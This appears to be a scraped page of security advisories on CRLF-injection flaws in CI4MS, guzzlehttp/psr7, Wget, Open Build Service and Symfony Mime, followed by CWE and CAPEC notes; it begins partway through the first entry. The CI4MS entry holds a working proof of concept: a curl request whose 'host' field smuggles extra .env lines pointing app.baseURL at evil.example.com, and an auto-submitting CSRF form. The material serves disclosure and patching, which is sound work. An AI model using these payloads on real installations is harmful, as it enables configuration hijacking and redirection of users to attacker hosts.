  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'

Expected result: The .env file will contain:

database.default.hostname=localhost
app.baseURL=http://evil.example.com/
app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandler

These injected lines override the legitimate app.baseURL set earlier (CI4's DotEnv processes top-to-bottom; later values win for putenv), redirect the application base URL to an attacker-controlled domain, and modify session handling.

CSRF exploitation variant (no direct access needed):

<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
  <input name="baseUrl" value="http://target/">
  <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'">
  <!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>

Impact

An unauthenticated attacker can inject arbitrary configuration into the .env file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:

  • Application URL hijacking — injecting app.baseURL to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure
  • Security downgrade — disabling forceGlobalSecureRequests, CSP, or other security settings
  • Session manipulation — changing session driver or save path configuration
  • Full application reconfiguration — the copyEnvFile() method overwrites the existing .env with the template before applying updates, destroying the current configuration (denial of service)
  • Database redirect — while not via the host injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior

The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.

Recommended Fix

  1. Add validation for the host parameter — reject newlines and restrict to valid hostnames/IPs:
// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],
  1. Sanitize all values in updateEnvSettings() — strip newlines from replacement strings:
private function updateEnvSettings(array $updates)
{
    $envPath = ROOTPATH . '.env';
    if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
    $contents = file_get_contents($envPath);
    foreach ($updates as $key => $value) {
        $value = str_replace(["\r", "\n"], '', (string) $value);  // Strip CRLF
        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
        $replacement = "{$key}={$value}";
        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
        else $contents .= PHP_EOL . $replacement;
    }
    file_put_contents($envPath, $contents);
    return true;
}
  1. Add newline validation to dbpassword — add regex_match[/^[^\r\n]*$/] to the validation rules.

  2. Strengthen InstallFilter — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:16:12Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache(\u0027settings\u0027)` is empty (cache expiry or fresh deployment).\n\n## Details\n\nIn `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:\n\n```php\n// line 32-41\n$updates = [\n    \u0027CI_ENVIRONMENT\u0027 =\u003e \u0027development\u0027,\n    \u0027app.baseURL\u0027 =\u003e \u0027\\\u0027\u0027 . $this-\u003erequest-\u003egetPost(\u0027baseUrl\u0027) . \u0027\\\u0027\u0027,\n    \u0027database.default.hostname\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027host\u0027),  // NO VALIDATION\n    \u0027database.default.database\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027dbname\u0027),\n    // ...\n];\n```\n\nThis value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:\n\n```php\n// line 94-98\nforeach ($updates as $key =\u003e $value) {\n    $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n    $replacement = \"{$key}={$value}\";\n    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n    else $contents .= PHP_EOL . $replacement;\n}\n```\n\nSince the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim \u2014 including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.\n\nThe `dbpassword` field (line 17) is a secondary vector \u2014 its validation (`permit_empty|max_length[255]`) does not reject newline characters.\n\n**Access conditions:**\n- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.\n- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache(\u0027settings\u0027)` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.\n\n**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.\n\n## PoC\n\n**Scenario:** Application is deployed but cache has expired (or fresh install window).\n\n```bash\n# Inject app.baseURL override and disable secure requests via host parameter\n# The %0a represents a newline that creates new .env lines\ncurl -X POST \u0027http://target/install/\u0027 \\\n  -d \u0027baseUrl=http://target/\u0026dbname=ci4ms\u0026dbusername=root\u0026dbpassword=\u0026dbdriver=MySQLi\u0026dbpre=ci4ms_\u0026dbport=3306\u0026name=Admin\u0026surname=User\u0026username=admin\u0026password=Password123\u0026email=admin@example.com\u0026siteName=TestSite\u0026host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\u0027\n```\n\n**Expected result:** The `.env` file will contain:\n\n```\ndatabase.default.hostname=localhost\napp.baseURL=http://evil.example.com/\napp.forceGlobalSecureRequests=false\nsession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\n```\n\nThese injected lines override the legitimate `app.baseURL` set earlier (CI4\u0027s DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.\n\n**CSRF exploitation variant** (no direct access needed):\n\n```html\n\u003c!-- Hosted on attacker site, victim admin visits while cache is empty --\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://target/install/\"\u003e\n  \u003cinput name=\"baseUrl\" value=\"http://target/\"\u003e\n  \u003cinput name=\"host\" value=\"localhost\u0026#10;app.baseURL=\u0027http://evil.example.com/\u0027\"\u003e\n  \u003c!-- ... other required fields ... --\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n```\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:\n\n- **Application URL hijacking** \u2014 injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure\n- **Security downgrade** \u2014 disabling `forceGlobalSecureRequests`, CSP, or other security settings\n- **Session manipulation** \u2014 changing session driver or save path configuration\n- **Full application reconfiguration** \u2014 the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)\n- **Database redirect** \u2014 while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior\n\nThe attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.\n\n## Recommended Fix\n\n1. **Add validation for the `host` parameter** \u2014 reject newlines and restrict to valid hostnames/IPs:\n\n```php\n// In $valData, add:\n\u0027host\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Install.databaseHost\u0027), \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]\u0027],\n```\n\n2. **Sanitize all values in `updateEnvSettings()`** \u2014 strip newlines from replacement strings:\n\n```php\nprivate function updateEnvSettings(array $updates)\n{\n    $envPath = ROOTPATH . \u0027.env\u0027;\n    if (!file_exists($envPath)) return [\u0027error\u0027 =\u003e \"\u0027.env\u0027 file not found.\"];\n    $contents = file_get_contents($envPath);\n    foreach ($updates as $key =\u003e $value) {\n        $value = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, (string) $value);  // Strip CRLF\n        $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n        $replacement = \"{$key}={$value}\";\n        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n        else $contents .= PHP_EOL . $replacement;\n    }\n    file_put_contents($envPath, $contents);\n    return true;\n}\n```\n\n3. **Add newline validation to `dbpassword`** \u2014 add `regex_match[/^[^\\r\\n]*$/]` to the validation rules.\n\n4. **Strengthen `InstallFilter`** \u2014 consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).",
  "id": "GHSA-vfhx-5459-qhqh",
  "modified": "2026-04-08T19:16:12Z",
  "published": "2026-04-08T19:16:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39394"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller"
}

GHSA-VM85-HXW5-5432

Vulnerability from github – Published: 2026-06-19 14:35 – Updated: 2026-06-19 14:35
VLAI
Summary
guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization
Details

Impact

guzzlehttp/psr7 did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with Message::toString() or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through Message::parseRequest() or Message::parseResponse() when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.

Creating or modifying a Request, Response, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by guzzlehttp/guzzle; applications using guzzlehttp/psr7 only through Guzzle's standard HTTP client APIs are not expected to be affected.

Applications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.

Patches

The issue is patched in 2.12.1 and later. Starting in that release, guzzlehttp/psr7 rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.

Workarounds

If you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.

Applications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling Message::parseRequest() or Message::parseResponse(), avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic $_SERVER values, validate REQUEST_METHOD and SERVER_PROTOCOL before calling ServerRequest::fromGlobals().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:35:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`guzzlehttp/psr7` did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with `Message::toString()` or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through `Message::parseRequest()` or `Message::parseResponse()` when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.\n\nCreating or modifying a `Request`, `Response`, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by `guzzlehttp/guzzle`; applications using `guzzlehttp/psr7` only through Guzzle\u0027s standard HTTP client APIs are not expected to be affected.\n\nApplications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.\n\n### Patches\n\nThe issue is patched in `2.12.1` and later. Starting in that release, `guzzlehttp/psr7` rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.\n\n### Workarounds\n\nIf you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.\n\nApplications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling `Message::parseRequest()` or `Message::parseResponse()`, avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic `$_SERVER` values, validate `REQUEST_METHOD` and `SERVER_PROTOCOL` before calling `ServerRequest::fromGlobals()`.",
  "id": "GHSA-vm85-hxw5-5432",
  "modified": "2026-06-19T14:35:57Z",
  "published": "2026-06-19T14:35:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/psr7/security/advisories/GHSA-vm85-hxw5-5432"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/psr7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization"
}

GHSA-VMW7-MXGC-C8QM

Vulnerability from github – Published: 2022-05-17 02:36 – Updated: 2022-05-17 02:36
VLAI
Details

CRLF injection vulnerability in the url_parse function in url.c in Wget through 1.19.1 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the host subcomponent of a URL.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-07T08:59:00Z",
    "severity": "MODERATE"
  },
  "details": "CRLF injection vulnerability in the url_parse function in url.c in Wget through 1.19.1 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the host subcomponent of a URL.",
  "id": "GHSA-vmw7-mxgc-c8qm",
  "modified": "2022-05-17T02:36:23Z",
  "published": "2022-05-17T02:36:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6508"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201706-16"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.gnu.org/cgit/wget.git/commit/?id=4d729e322fae359a1aefaafec1144764a54e8ad4"
    },
    {
      "type": "WEB",
      "url": "http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96877"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VP32-RG8F-2JXG

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-12477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-09T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.",
  "id": "GHSA-vp32-rg8f-2jxg",
  "modified": "2022-05-13T01:34:46Z",
  "published": "2022-05-13T01:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12477"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1108189"
    },
    {
      "type": "WEB",
      "url": "https://lwn.net/Articles/766535"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQC8-7275-Q272

Vulnerability from github – Published: 2026-05-27 21:09 – Updated: 2026-05-27 21:09
VLAI
Summary
Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names
Details

Description

Symfony\Component\Mime\Header\ParameterizedHeader (and the related parameter handling reachable from Symfony\Component\Mime\Header\Headers) is responsible for serializing structured headers such as Content-Type and Content-Disposition, which carry key=value parameters (e.g. Content-Disposition: attachment; filename="x").

RFC 2045 / RFC 5322 require parameter names to be tokens: a restricted ASCII subset that excludes whitespace, CR/LF, and the tspecials set. Symfony's parameter handling validates and properly encodes parameter values, but does not validate parameter names: the supplied name is emitted verbatim into the serialized header.

A caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a Content-Disposition parameter name, can include \r\n or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.

Resolution

ParameterizedHeader now rejects parameter names that contain bytes outside the RFC token character class.

The patch for this issue is available here for branch 5.4.

Credits

Symfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:09:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Description\n\n`Symfony\\Component\\Mime\\Header\\ParameterizedHeader` (and the related parameter handling reachable from `Symfony\\Component\\Mime\\Header\\Headers`) is responsible for serializing structured headers such as `Content-Type` and `Content-Disposition`, which carry `key=value` parameters (e.g. `Content-Disposition: attachment; filename=\"x\"`).\n\nRFC 2045 / RFC 5322 require parameter *names* to be `tokens`: a restricted ASCII subset that excludes whitespace, CR/LF, and the `tspecials` set. Symfony\u0027s parameter handling validates and properly encodes parameter *values*, but does not validate parameter *names*: the supplied name is emitted verbatim into the serialized header.\n\nA caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a `Content-Disposition` parameter name, can include `\\r\\n` or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.\n\n### Resolution\n\n`ParameterizedHeader` now rejects parameter names that contain bytes outside the RFC `token` character class.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/e62ea217f8b4ca8ae922ad0f949e0c4dc1f9b613) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.",
  "id": "GHSA-vqc8-7275-q272",
  "modified": "2026-05-27T21:09:12Z",
  "published": "2026-05-27T21:09:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-vqc8-7275-q272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2026-45070.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45070.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45070"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names"
}

Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.